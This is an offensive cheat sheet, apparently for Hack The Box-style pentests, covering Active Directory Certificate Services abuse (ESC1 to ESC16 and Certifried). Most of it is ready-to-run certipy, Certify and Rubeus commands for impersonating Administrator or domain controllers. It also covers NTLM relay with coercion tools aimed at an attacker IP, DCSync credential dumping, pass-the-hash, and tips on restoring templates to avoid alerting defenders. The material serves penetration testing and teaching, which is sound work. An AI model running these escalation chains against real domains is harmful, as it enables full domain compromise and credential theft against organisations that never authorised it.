ADCS & Certificate Attacks
Active Directory Certificate Services (AD CS) is Microsoft's PKI implementation for issuing certificates in Active Directory environments. Misconfigurations in certificate templates, CA settings, and ACLs can allow an attacker to escalate privileges up to Domain Admin by requesting certificates on behalf of privileged users.
ADCS appears in approximately 55% of Medium Windows and 57% of Hard Windows HTB machines, making it one of the most common privilege escalation paths in Active Directory pentests.
Quick Reference - ESC Summary
| ESC | Condition | Impact | Difficulty |
|---|---|---|---|
| ESC1 | EnrolleeSuppliesSubject + Client Auth EKU | Impersonate ANY user | Low |
| ESC2 | Any Purpose / No EKU | Same as ESC1 | Low |
| ESC3 | Certificate Request Agent EKU | Request on behalf of others | Medium |
| ESC4 | Write access on template object | Modify template to ESC1 | Medium |
| ESC5 | Local admin on CA server | Pivot to ESC7 via SubCA | High |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | All templates become ESC1 | Low |
| ESC7 | ManageCA / ManageCertificates ACL | Approve pending requests | Medium |
| ESC8 | NTLM Relay to HTTP enrollment | Relay to cert for machine account | Medium |
| ESC9 | CT_FLAG_NO_SECURITY_EXTENSION + GenericWrite | UPN swap impersonation | Medium |
| ESC10 | StrongCertBinding=0 or CertMapping=0x4 | UPN swap impersonation | Medium |
| ESC11 | IF_ENFORCEENCRYPTICERTREQUEST disabled | Relay via RPC to cert | Medium |
| ESC13 | Issuance Policy OID linked to group | Gain group membership via TGT | Medium |
| ESC14 | Weak altSecurityIdentities mapping | Impersonate via matching cert | High |
| ESC15 | V1 template + EnrolleeSuppliesSubject (CVE-2024-49019) | Inject EKU, impersonate | Medium |
| ESC16 | CA disables SID extension | Global ESC9-like condition | Medium |
| Certifried | Unpatched CA (CVE-2022-26923) | Impersonate DC | Medium |
EKU OIDs for Authentication
These are the Extended Key Usages that allow a certificate to be used for domain authentication:
| EKU | OID | Allows Auth? |
|---|---|---|
| Client Authentication | 1.3.6.1.5.5.7.3.2 | Yes |
| PKINIT Client Authentication | 1.3.6.1.5.2.3.4 | Yes |
| Smart Card Logon | 1.3.6.1.4.1.311.20.2.2 | Yes |
| Any Purpose | 2.5.29.37.0 | Yes |
| SubCA (No EKU) | - | Yes |
Enumeration
Linux - certipy
Full enumeration outputs text, JSON, and BloodHound-compatible data. Use -vulnerable -stdout for a quick check during initial recon.
# Full enumeration (text + JSON + BloodHound)
certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP
# Only vulnerable templates (quick check)
certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP -vulnerable -stdout
# BloodHound data only
certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP -bloodhound
# With NT hash (pass-the-hash)
certipy find -u 'USER@DOMAIN' -hashes :NTHASH -dc-ip DC_IP -vulnerable -stdout
Linux - netexec
Quick way to enumerate Certificate Authorities without certipy.
# Enumerate CAs in the domain
nxc ldap DC_IP -u USER -p PASS -M adcs
Windows - Certify.exe
Use on-target when certipy is not an option.
# Find vulnerable templates
.\Certify.exe find /vulnerable
# List all templates
.\Certify.exe find
# List CAs
.\Certify.exe cas
# Find templates with EnrolleeSuppliesSubject
.\Certify.exe find /enrolleeSuppliesSubject
ESC1 - Misconfigured Certificate Templates
Conditions: Template allows the enrollee to specify a Subject Alternative Name (SAN) + has a Client Authentication EKU + low-privileged users can enroll.
This is the most common ADCS vulnerability in HTB machines. The template essentially lets you request a certificate as any user in the domain.
Linux
# Request a certificate as Administrator
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template TEMPLATE_NAME \
-upn 'Administrator@DOMAIN' -dc-ip DC_IP
# Authenticate with the certificate (returns TGT + NT hash)
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP
Windows
# Request the certificate
.\Certify.exe request /ca:DC\CA_NAME /template:TEMPLATE_NAME /altname:Administrator
# Convert PEM to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Authenticate with Rubeus
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials /show /nowrap
ESC2 - Any Purpose EKU
Conditions: Template has Any Purpose EKU (OID 2.5.29.37.0) or no EKU at all, plus EnrolleeSuppliesSubject is enabled.
A certificate with Any Purpose EKU or no EKU can be used for any purpose, including client authentication. The attack is identical to ESC1.
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template TEMPLATE_NAME \
-upn 'Administrator@DOMAIN' -dc-ip DC_IP
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP
ESC3 - Enrollment Agent
Conditions: A template with the Certificate Request Agent EKU exists, plus a second template that accepts enrollment on behalf of other users.
This is a two-step attack: first obtain an enrollment agent certificate, then use it to request certificates on behalf of privileged users.
Linux
# Step 1: Request the enrollment agent certificate
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template AGENT_TEMPLATE -dc-ip DC_IP
# Step 2: Use agent cert to request on behalf of Administrator
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template TARGET_TEMPLATE \
-on-behalf-of 'DOMAIN\Administrator' -pfx user.pfx -dc-ip DC_IP
# Step 3: Authenticate
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP
Windows
# Step 1: Request agent certificate
.\Certify.exe request /ca:DC\CA_NAME /template:AGENT_TEMPLATE
# Step 2: Request on behalf of Administrator
.\Certify.exe request /ca:DC\CA_NAME /template:TARGET_TEMPLATE /onbehalfof:DOMAIN\Administrator /enrollcert:agent.pfx /enrollcertpw:PASSWORD
# Step 3: Authenticate with Rubeus
.\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /getcredentials /show /nowrap
ESC4 - Template ACL Abuse
Conditions: You have GenericAll, WriteDacl, WriteOwner, or WriteProperty over a certificate template object.
Modify the template to enable EnrolleeSuppliesSubject and Client Authentication EKU, effectively turning it into an ESC1 vulnerability. Certipy saves a backup automatically so you can restore after exploitation.
Linux
# Modify the template to ESC1 conditions (saves backup automatically)
certipy template -u 'USER@DOMAIN' -p 'PASS' -template TEMPLATE_NAME \
-save-old -dc-ip DC_IP
# Now exploit as ESC1
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template TEMPLATE_NAME \
-upn 'Administrator@DOMAIN' -dc-ip DC_IP
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP
# RESTORE the template (OPSEC - do not skip this)
certipy template -u 'USER@DOMAIN' -p 'PASS' -template TEMPLATE_NAME \
-configuration TEMPLATE_NAME.json -dc-ip DC_IP
Windows
# List ACLs on the template
Get-DomainObjectAcl -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL" | Where-Object { $_.ObjectDN -match "TEMPLATE_NAME" }
# Modify template properties (PowerView)
Set-DomainObject -SearchBase "CN=TEMPLATE_NAME,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL" -Set @{
'mspki-certificate-name-flag'=1;
'mspki-enrollment-flag'=0;
'mspki-ra-signature'=0;
'pkiextendedkeyusage'='1.3.6.1.5.5.7.3.2'
}
Tip: Always restore the template after exploitation. Leaving a modified template is noisy and may alert defenders.
ESC5 - PKI Object ACL
Conditions: Local admin on the server hosting the Certificate Authority.
If you have admin access on the CA server itself, you can pivot to ESC7 by enabling the SubCA template and approving your own certificate requests. This typically requires lateral movement to the CA server first.
# If ADCS is on a separate server, pivot via SOCKS proxy
# Then execute the ESC7 attack chain
ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
Conditions: The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, allowing any template to accept SAN specifications.
Tip: This was patched in May 2022 (KB5014754). Verify the patch status before investing time in this vector.
Linux
# Any template becomes ESC1 when this flag is set
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template User \
-upn 'Administrator@DOMAIN' -dc-ip DC_IP
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP
Windows
# Check if the flag is enabled
certutil -config "DC\CA_NAME" -getreg policy\EditFlags
# Request any template with SAN
.\Certify.exe request /ca:DC\CA_NAME /template:User /altname:Administrator
ESC7 - CA ACL Abuse
Conditions: ManageCA or ManageCertificates permission on the CA object.
With ManageCA you can add yourself as a CA officer (gaining ManageCertificates). Then enable the SubCA template, request a certificate that gets denied, approve it yourself, and retrieve it.
Linux - certipy (full chain)
# Step 1: If you have ManageCA, add yourself as officer
certipy ca -ca CA_NAME -add-officer USER -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP
# Step 2: Enable the SubCA template
certipy ca -ca CA_NAME -enable-template SubCA -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP
# Step 3: Request cert with SubCA (will be denied - note the Request ID)
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template SubCA \
-upn 'Administrator@DOMAIN' -dc-ip DC_IP
# Step 4: Approve the pending request (as officer)
certipy ca -ca CA_NAME -issue-request REQUEST_ID -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP
# Step 5: Retrieve the approved certificate
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -retrieve REQUEST_ID -dc-ip DC_IP
# Step 6: Authenticate
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP
Windows
# Check CA permissions
.\Certify.exe cas
# If ManageCA: add yourself as officer via PSPKI
Import-Module PSPKI
$ca = Get-CertificationAuthority -ComputerName DC
Set-CertificationAuthorityAcl -InputObject $ca -Account "DOMAIN\USER" -AccessType Allow -Rights ManageCertificates
# Request SubCA template
.\Certify.exe request /ca:DC\CA_NAME /template:SubCA /altname:Administrator
# Approve via certutil
certutil -config "DC\CA_NAME" -resubmit REQUEST_ID
# Retrieve the certificate
certutil -config "DC\CA_NAME" -retrieve REQUEST_ID cert.cer
ESC8 - NTLM Relay to HTTP Enrollment
Conditions: Web Enrollment endpoint is enabled on the CA server and accepts NTLM authentication.
Coerce a machine account to authenticate to your relay, which forwards the authentication to the CA's HTTP enrollment endpoint to obtain a certificate.
# Terminal 1: Start the relay listener
certipy relay -target "http://ADCS_IP" -template DomainController
# Terminal 2: Coerce authentication (choose one)
python3 PetitPotam.py -u USER -p 'PASS' -d DOMAIN ATTACKER_IP TARGET_IP
python3 printerbug.py DOMAIN/USER:'PASS'@TARGET_IP ATTACKER_IP
python3 dfscoerce.py -u USER -p 'PASS' -d DOMAIN ATTACKER_IP TARGET_IP
# Result: certificate saved as target.pfx
certipy auth -pfx target.pfx -dc-ip DC_IP
Tip: After obtaining the machine account hash via certificate authentication, proceed with DCSync:
secretsdump.py -hashes :DC_HASH DOMAIN/'DC$'@DC_IP
ESC9 / ESC10 - StrongCertificateBindingEnforcement Abuse
ESC9 - CT_FLAG_NO_SECURITY_EXTENSION
Conditions:
- StrongCertificateBindingEnforcement = 1 (default)
- Template has CT_FLAG_NO_SECURITY_EXTENSION in msPKI-Enrollment-Flag
- Template has Client Authentication EKU
- GenericWrite over another user
The template does not embed the requester's SID in the certificate. By swapping the UPN of a controlled user to the target, the certificate maps to the target user.
# Step 1: Change UPN of controlled user to target
certipy account update -u 'ATTACKER@DOMAIN' -p 'PASS' \
-user CONTROLLED_USER -upn 'Administrator@DOMAIN' -dc-ip DC_IP
# Step 2: Request certificate (as controlled user, but UPN = Administrator)
certipy req -u 'CONTROLLED_USER@DOMAIN' -p 'PASS' -ca CA_NAME \
-template TEMPLATE_NAME -dc-ip DC_IP
# Step 3: RESTORE the original UPN (critical step)
certipy account update -u 'ATTACKER@DOMAIN' -p 'PASS' \
-user CONTROLLED_USER -upn 'CONTROLLED_USER@DOMAIN' -dc-ip DC_IP
# Step 4: Authenticate (certificate now maps to Administrator)
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP
Tip: You MUST restore the UPN before running
certipy auth. If the controlled user still has Administrator's UPN, the authentication will fail.
ESC10 Case 1 - StrongCertificateBindingEnforcement = 0
Conditions: GenericWrite over another user + StrongCertBinding=0 (DC ignores SID in certificate).
Attack is identical to ESC9. The DC does not check the SID extension at all, so any template with Client Authentication works.
# Same steps as ESC9 - swap UPN, request cert, restore UPN, authenticate
certipy account update -u 'ATTACKER@DOMAIN' -p 'PASS' \
-user CONTROLLED_USER -upn 'Administrator@DOMAIN' -dc-ip DC_IP
certipy req -u 'CONTROLLED_USER@DOMAIN' -p 'PASS' -ca CA_NAME \
-template TEMPLATE_NAME -dc-ip DC_IP
certipy account update -u 'ATTACKER@DOMAIN' -p 'PASS' \
-user CONTROLLED_USER -upn 'CONTROLLED_USER@DOMAIN' -dc-ip DC_IP
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP
ESC10 Case 2 - CertificateMappingMethods = 0x4
Conditions: GenericWrite over user + CertificateMappingMethods contains 0x4 (UPN mapping only).
This only works with Schannel authentication (LDAPS), not PKINIT. Use the LDAP shell to set up RBCD for lateral movement.
# Steps 1-3: Same UPN swap as above
# Step 4: Authenticate via Schannel (LDAP shell)
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP -ldap-shell
# In the LDAP shell: set up RBCD
set_rbcd TARGET_COMPUTER CONTROLLED_COMPUTER
# Then S4U2Self/S4U2Proxy
getST.py -spn cifs/TARGET.DOMAIN -impersonate Administrator \
DOMAIN/CONTROLLED_COMPUTER$ -hashes :HASH
export KRB5CCNAME=Administrator@cifs_TARGET.DOMAIN@DOMAIN.ccache
smbexec.py -k -no-pass TARGET.DOMAIN
ESC11 - NTLM Relay to RPC Enrollment (ICPR)
Conditions: The CA has IF_ENFORCEENCRYPTICERTREQUEST disabled (Enforce Encryption for Requests: Disabled).
Similar to ESC8 but targets the RPC endpoint instead of HTTP. Useful when Web Enrollment is not enabled but the RPC interface is exposed without encryption enforcement.
# Terminal 1: Start relay via RPC
sudo certipy relay -target "rpc://ADCS_IP" -ca CA_NAME -template DomainController
# Terminal 2: Coerce authentication
python3 PetitPotam.py -u USER -p 'PASS' -d DOMAIN ATTACKER_IP TARGET_IP
# Result: certificate saved as target.pfx
certipy auth -pfx target.pfx -dc-ip DC_IP
ESC13 - Issuance Policy OID Group Link
Conditions:
- Template has an Issuance Policy OID
- The OID object has
msDS-OIDToGroupLinkpointing to a privileged group - Template allows Client Authentication + low-privileged enrollment
When the KDC processes a certificate with an Issuance Policy, it looks up the OID object and adds the linked group's SID to the TGT's PAC. This effectively grants group membership through certificate enrollment.
Identification
# certipy find shows Issuance Policies and Linked Groups
certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP -vulnerable -stdout
# Look for output like:
# Issuance Policies: 1.3.6.1.4.1.311.21.8.xxx
# Linked Groups: CN=SecureAdmins,CN=Users,DC=DOMAIN,DC=LOCAL
# [!] Vulnerabilities
# ESC13: Template allows client authentication and issuance policy is linked to group
# Enumerate OID objects with links
certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP -oids -stdout
Attack
# Step 1: Request certificate from the ESC13 template
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME \
-template TEMPLATE_NAME -dc-ip DC_IP -target CA_HOST
# Step 2: Authenticate - TGT will contain the linked group's SID in PAC
certipy auth -pfx user.pfx -dc-ip DC_IP
# Step 3: Use the TGT with the group's privileges
export KRB5CCNAME=user.ccache
secretsdump.py -k -no-pass DOMAIN/user@DC_FQDN -dc-ip DC_IP
ESC14 - Explicit Mapping
Conditions: A privileged account has altSecurityIdentities configured with a weak mapping format (e.g., Subject CN only).
Tip: Certipy does NOT detect ESC14. Manual enumeration is required.
Identification
# PowerShell - enumerate altSecurityIdentities on privileged accounts
Get-ADUser -Filter * -Properties altSecurityIdentities | Where-Object { $_.altSecurityIdentities } | Select-Object Name, altSecurityIdentities
# LDAP query from Linux
ldapsearch -x -H ldap://DC_IP -D "USER@DOMAIN" -w "PASS" \
-b "DC=DOMAIN,DC=LOCAL" "(altSecurityIdentities=*)" altSecurityIdentities sAMAccountName
Mapping Strength Reference
| Format | Strength | Example |
|---|---|---|
X509:<S>CN=user | WEAK | Based only on Subject CN |
X509:<RFC822>email | WEAK | Email is easily replicable |
X509:<I>IssuerDN<S>SubjectDN | MEDIUM | No serial/SKI binding |
X509:<I>IssuerDN<SR>Serial | STRONG | Unique per certificate |
X509:<SHA1-PUKEY>hash | STRONG | Tied to specific key pair |
Attack
# If mapping is weak (e.g., X509:<S>CN=DAUserBackupCert):
# 1. Obtain a cert with a matching Subject CN (via ESC1 or another CA)
# 2. Authenticate as the target
certipy auth -pfx malicious.pfx -dc-ip DC_IP \
-username 'administrator@DOMAIN' -domain DOMAIN
ESC15 (EKUwu) - Application Policy Injection (CVE-2024-49019)
Conditions:
- Template with Schema Version 1
- EnrolleeSuppliesSubject enabled
- CA not patched (November 2024)
Version 1 templates allow injection of Application Policies through the CSR, which the CA processes without validation.
Identification
certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP -vulnerable -stdout
# Look for:
# Schema Version: 1
# Enrollee Supplies Subject: True
# [!] Vulnerabilities
# ESC15: Enrollee supplies subject and schema version is 1.
Scenario A: Inject Client Auth for Schannel Impersonation
# Request cert with injected Client Authentication Application Policy
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME \
-template WebServer -dc-ip DC_IP -target CA_HOST \
-upn 'Administrator@DOMAIN' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'
# Authenticate via Schannel (LDAPS)
certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell
Scenario B: Inject Certificate Request Agent for ESC3
# Step 1: Get agent cert via Application Policy injection
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME \
-template WebServer -dc-ip DC_IP -target CA_HOST \
-application-policies 'Certificate Request Agent'
# Step 2: Request on behalf of Administrator
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME \
-template User -dc-ip DC_IP -target CA_HOST \
-pfx user.pfx -on-behalf-of 'DOMAIN\Administrator'
# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
ESC16 - SID Extension Disabled on CA
Conditions:
- CA has OID
1.3.6.1.4.1.311.25.2in theDisableExtensionList - OR CA is not patched (pre-May 2022)
- All issued certificates lack the SID extension, creating a global ESC9-like condition
Identification
certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP -vulnerable -stdout
# Look for:
# Disabled Extensions: 1.3.6.1.4.1.311.25.2
# [!] Vulnerabilities
# ESC16: Security Extension is disabled.
Scenario A: UPN Manipulation (StrongCertBinding <= 1)
Identical to ESC9 but works with any Client Auth template because no certificates from this CA contain the SID extension.
# Step 1: Change victim's UPN to target (requires GenericWrite)
certipy account -u 'ATTACKER@DOMAIN' -p 'PASS' -dc-ip DC_IP \
-upn 'administrator' -user VICTIM update
# Step 2: Request certificate (any Client Auth template)
certipy req -u 'VICTIM@DOMAIN' -p 'PASS' -ca CA_NAME \
-template User -dc-ip DC_IP
# Step 3: RESTORE the UPN (before auth)
certipy account -u 'ATTACKER@DOMAIN' -p 'PASS' -dc-ip DC_IP \
-upn 'victim@DOMAIN' -user VICTIM update
# Step 4: Authenticate as Administrator
certipy auth -pfx administrator.pfx -dc-ip DC_IP \
-username administrator -domain DOMAIN
Scenario B: ESC16 + ESC6 (bypasses StrongCertBinding = 2)
When both ESC16 and ESC6 conditions are present, the SAN SID URL is accepted because the SID extension is absent.
# Request cert with UPN + SID via ESC6
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME \
-template User -dc-ip DC_IP -target CA_HOST \
-upn 'Administrator@DOMAIN' -sid 'S-1-5-21-...-500'
# Authenticate - KDC uses SAN SID URL because SID extension is absent
certipy auth -pfx administrator.pfx -dc-ip DC_IP
Tip: For ESC16, always restore the UPN BEFORE running
certipy auth. If you usecertipy-adv4.8.x for ESC16, it works reliably.certipyv5.0.4 has known bugs with this attack.
Certifried (CVE-2022-26923)
Conditions: Unpatched CA that does not embed Object SID in certificates.
Create a computer account with the DC's dNSHostName, request a Machine certificate, and authenticate as the DC.
Verification
# Check if CA is patched
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -dc-ip DC_IP -template User
# If output says "Certificate has no object SID" -> VULNERABLE
Automatic Attack (certipy)
# Step 1: Create computer account with DC's dNSHostName
certipy account create -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP \
-user FAKEMACHINE -dns DC_HOSTNAME.DOMAIN
# Step 2: Request Machine certificate
certipy req -u 'FAKEMACHINE$' -p 'GENERATED_PASS' -ca CA_NAME \
-template Machine -dc-ip DC_IP
# Step 3: Authenticate as DC (returns DC$ hash)
certipy auth -pfx dc.pfx -domain DOMAIN -dc-ip DC_IP
Manual Attack
# Step 1: Create the computer account
addcomputer.py -computer-name 'FAKEMACHINE$' -computer-pass 'Pass123!' \
-dc-ip DC_IP 'DOMAIN/USER:PASS'
# Step 2: Change dNSHostName to match the DC
python3 powerview.py DOMAIN/USER:'PASS'@DC_IP
PV > Set-DomainObject -Identity 'FAKEMACHINE$' -Set dnsHostName="DC.DOMAIN"
# Step 3: Request certificate + authenticate (same as automatic)
certipy req -u 'FAKEMACHINE$' -p 'Pass123!' -ca CA_NAME -template Machine -dc-ip DC_IP
certipy auth -pfx dc.pfx -domain DOMAIN -dc-ip DC_IP
Post-Exploitation with DC$ Hash
# DCSync with the DC machine hash
secretsdump.py -hashes :DC_HASH DOMAIN/'DC$'@DC_IP
# Pass-the-hash with extracted Administrator hash
evil-winrm -i DC_IP -u Administrator -H ADMIN_HASH
PKINIT vs Schannel Authentication
PKINIT (Default - Kerberos)
The standard authentication method. Returns a TGT and the NT hash via U2U.
certipy auth -pfx cert.pfx -domain DOMAIN -dc-ip DC_IP
# Returns: TGT (.ccache) + NT hash
Schannel (Fallback - LDAPS)
Use when PKINIT fails with KDC_ERR_PADATA_TYPE_NOSUPP. Provides an LDAP shell for post-exploitation actions.
certipy auth -pfx cert.pfx -domain DOMAIN -dc-ip DC_IP -ldap-shell
# Available LDAP shell commands:
# add_user USERNAME
# add_user_to_group USERNAME GROUP
# set_rbcd TARGET CONTROLLED
# change_password USERNAME NEWPASS
Windows - Rubeus
.\Rubeus.exe asktgt /user:TARGET /certificate:cert.pfx /getcredentials /show /nowrap
# Returns: TGT + NT hash (via U2U)
Certificate Mapping Reference
StrongCertificateBindingEnforcement
| Value | Behavior |
|---|---|
| 0 | No mapping check (vulnerable to ESC10 Case 1) |
| 1 | Compatibility mode - warns on SID mismatch (default, vulnerable to ESC9) |
| 2 | Full enforcement - rejects on SID mismatch |
CertificateMappingMethods (NTAuth)
| Value | Mapping Type |
|---|---|
| 0x1 | Subject/Issuer mapping |
| 0x2 | Issuer mapping |
| 0x4 | UPN SAN mapping (vulnerable to ESC10 Case 2) |
| 0x8 | S4U2Self Kerberos mapping |
| 0x10 | S4U2Self UPN SAN explicit mapping |
Troubleshooting
| Error | Cause | Fix |
|---|---|---|
KDC_ERR_PADATA_TYPE_NOSUPP | PKINIT not supported on DC | Use -ldap-shell (Schannel auth) |
CERTSRV_E_TEMPLATE_DENIED | No enrollment permission | Check template ACLs and enrollment rights |
Certificate has no object SID | CA not patched (May 2022) | Certifried is possible |
E_ACCESSDENIED via CSRA | No permission for CSRA interface | certipy falls back to RRP automatically |
| Cert auth returns wrong hash | UPN was not restored before auth | Restore UPN BEFORE running certipy auth |
STATUS_LOGON_FAILURE with cert | Template does not allow auth | Verify EKU includes Client Authentication |
CERTSRV_E_BAD_REQUESTSUBJECT | SAN not allowed on template | Template does not have EnrolleeSuppliesSubject |
| certipy returns success but no effect | Wrong schema/format version | Try different template or check CA patch level |
Tip: When using certipy with Kerberos authentication, set
export KRB5CCNAME=user.ccacheand use the-kflag instead of-u/-p.